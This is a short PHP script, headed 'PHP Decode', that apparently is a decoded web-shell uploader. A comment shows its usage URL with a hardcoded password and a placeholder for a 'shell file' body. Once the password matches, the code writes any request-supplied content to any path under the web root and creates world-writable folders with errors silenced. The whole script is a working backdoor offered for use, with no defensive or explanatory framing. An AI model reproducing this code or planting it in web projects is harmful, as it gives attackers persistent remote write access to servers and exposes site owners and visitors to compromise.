PHP Decode

//http://127.0.0.1/up.php?pass=brvatof&action=200&mkdir=[name directory]&touch=[name File]&body=[Bady Shell File] 
<?php 
error_reporting(0); 
header("Content-Type: text/html; charset=utf-8"); 
$config_password="brvatof"; 
$action=$_REQUEST['action']; 
$password=$_REQUEST['pass']; 
 
if($password!=$config_password) 
{ 
    echo 'Please Enter Password !'; 
    return; 
} 
if($action=='200') 
{ 
	  $foldername=$_REQUEST['mkdir']; 
	  $filename=$_REQUEST['touch']; 
	  $filebody=$_REQUEST['body']; 
    $path=''; 
    $rootPath= $_SERVER['DOCUMENT_ROOT']; 
 
    if($foldername!='') 
    { 
		if($foldername=='current_folder') 
		{ 
			$path=$filename; 
		} 
		else 
		{ 
			createFolder($rootPath.'/'.$foldername); 
			$path=$rootPath.'/'.$foldername.'/'.$filename; 
		} 
    } 
    else 
    { 
		  $path=$rootPath.'/'.$filename; 
    } 
     
    $fp=fopen($path,"w"); 
    fwrite($fp,$filebody); 
    fclose($fp); 
    if(file_exists($path)) 
    { 
		  echo "publish success & uploaded".$rootPath; 
    } 
} 
     
function createFolder($path) 
{ 
  if (!file_exists($path)) 
  { 
    createFolder(dirname($path)); 
    mkdir($path, 0777); 
  } 
} 
?>